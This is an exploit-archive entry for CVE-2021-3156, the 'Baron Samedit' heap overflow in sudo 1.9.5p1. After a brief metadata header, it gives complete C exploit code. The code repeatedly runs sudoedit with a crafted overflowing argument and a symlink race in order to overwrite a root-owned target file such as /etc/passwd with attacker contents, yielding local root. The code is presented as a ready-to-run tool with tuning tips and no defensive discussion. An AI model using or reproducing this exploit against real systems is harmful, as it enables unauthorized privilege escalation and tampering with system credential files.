Sudo 1.9.5p1 baron samedit heapbased buffer overflow privilege escalation (2) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-02-03 | Type : local | Platform : multiple

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# Exploit Title: Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (2)
# Authors and Contributors: cts, help from r4j, debug by nu11secur1ty
# Date: 30.01.2021
# Vendor: https://www.sudo.ws/
# Link: https://www.sudo.ws/download.html
# CVE: CVE-2021-3156

[+] Source: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156/1.30.2021

[Exploit Program Code]

// Exploit by @gf_256 aka cts
// With help from r4j
// Debug by @nu11secur1ty
// Original advisory by Baron Samedit of Qualys

// Tested on Ubuntu 18.04 and 20.04 & 20.04.01
// You will probably need to adjust RACE_SLEEP_TIME.

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <assert.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <pwd.h>

// !!! best value of this varies from system-to-system !!!
// !!! you will probably need to tune this !!!
#define RACE_SLEEP_TIME 10000

char *target_file;
char *src_file;

size_t query_target_size()
{
struct stat st;
stat(target_file, &st);
return st.st_size;
}

char* read_src_contents()
{
FILE* f = fopen(src_file, "rb");
if (!f) {
puts("oh no baby what are you doing :(");
abort();
}
fseek(f, 0, SEEK_END);
long fsize = ftell(f);
fseek(f, 0, SEEK_SET);
char *content = malloc(fsize + 1);
fread(content, 1, fsize, f);
fclose(f);
return content;
}

char* get_my_username()
{
// getlogin can return incorrect result (for example, root under su)!
struct passwd *pws = getpwuid(getuid());
return strdup(pws->pw_name);
}

int main(int my_argc, char **my_argv)
{
puts("CVE-2021-3156 PoC by @gf_256");
puts("original advisory by Baron Samedit");

if (my_argc != 3) {
puts("./meme <target file> <src file>");
puts("Example: ./meme /etc/passwd my_fake_passwd_file");
return 1;
}
target_file = my_argv[1];
src_file = my_argv[2];
printf("we will overwrite %s with stuff from %s\n", target_file, src_file);

char* myusername = get_my_username();
printf("hi, my name is %s\n", myusername);

size_t initial_size = query_target_size();
printf("%s is %zi big right now\n", target_file, initial_size);

char* stuff_to_write = read_src_contents();

char memedir[1000];
char my_symlink[1000];
char overflow[1000];

char* bigstuff = calloc(1,0x10000);
memset(bigstuff, 'A', 0xffff); // need a big shit in the stack so the write doesn't fail with bad address

char *argv[] = {"/usr/bin/sudoedit", "-A", "-s", "\\", overflow, NULL
};

char *envp[] = {
"\n\n\n\n\n", // put some newlines here to separate our real contents from the junk stuff_to_write,
"SUDO_ASKPASS=/bin/false", "LANG=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
", bigstuff, NULL
};

puts("ok podracing time bitches");

// Boom =)
// for (int i = 0; i < 5000; i++)
for (int i = 0; i < 3000; i++) {
sprintf(memedir, "ayylmaobigchungussssssssssss00000000000000000000000000%08d", i);
sprintf(overflow, "11111111111111111111111111111111111111111111111111111111%s", memedir);
sprintf(my_symlink, "%s/%s", memedir, myusername);
puts(memedir);

if (access(memedir, F_OK) == 0) {
printf("dude, %s already exists, do it from a clean working dir\n", memedir);
return 1;
}

pid_t childpid = fork();
if (childpid) { // parent
usleep(RACE_SLEEP_TIME);
mkdir(memedir, 0700);
symlink(target_file, my_symlink);
waitpid(childpid, 0, 0);
} else { // child
setpriority(PRIO_PROCESS, 0, 20); // set nice to 20 for race reliability
execve("/usr/bin/sudoedit", argv, envp); // noreturn
puts("execve fails?!");
abort();
}

if (query_target_size() != initial_size) {
puts("target file has a BRUH MOMENT!!!! SUCCess???");
system("xdg-open 'https://www.youtube.com/watch?v=cj_8X1cyVFc'");
// ayy lmao
return 0;
}
}

puts("Failed?");
puts("if all the meme dirs are owned by root, the usleep needs to be decreased.");
puts("if they're all owned by you, the usleep needs to be increased");

return 0;
}